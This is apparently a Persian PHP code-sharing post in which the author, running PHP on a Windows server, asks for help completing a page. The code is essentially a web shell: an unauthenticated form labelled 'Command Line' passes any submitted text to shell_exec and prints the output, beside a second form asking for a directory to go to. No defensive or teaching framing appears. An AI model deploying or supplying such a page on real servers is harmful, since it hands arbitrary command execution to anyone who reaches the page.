بر روی سرور ویندوز وب سرور php نصبه
کد مربوطه جهت تکمیل:
کد PHP:
<html>
<body>
<form action="" method="post">
<b>Command Line : <font face=Wingdings color=gray></font></b><input type="text" name="subject">
<input type="submit" value="Run Command" name="submit">
</form>
<table width=1000px cellpadding=0 cellspacing=0 bgcolor=#396D95>
<tr><td bgcolor=#396D95><font face=Verdana size=-2></font></td></tr>
<tr><td><b><div align=center><textarea name=report cols=121 rows=15>
<?php
if (isset($_POST['submit'])) {
$subject = $_POST['subject'];
$output = shell_exec($subject);
echo "$output";
} else {
echo "error!";
}
?>
</textarea></div></b></td></tr></table>
<?php
echo "</textarea>";
?>
</body>
</html>
<form name=form method=POST>
<tr>
<td>
<div id="id1">
<table class=table1 width=100% align=center>
<tr class=tr1>
<td class=td1 width=15% align=right>
<b>Write Directory to go :<font face=Wingdings color=gray></font></b>
</td>
<td class=td1 align=left><input type=text name=cmd size=85 value=""></td>
</tr>
<tr class=tr1>
<td class=td1 width=15% align=right>
<b>You Here :<font face=Wingdings color=gray></font></b>
</td>
<td class=td1 align=left>
<input type=text name=dir size=85 value=""><input type=submit name=submit value="Run">
</td>
</tr></table></div></td></tr></form>
- - , .
php مرکز کد های سایت...برچسب : نویسنده : استخدام کار phpco بازدید : 206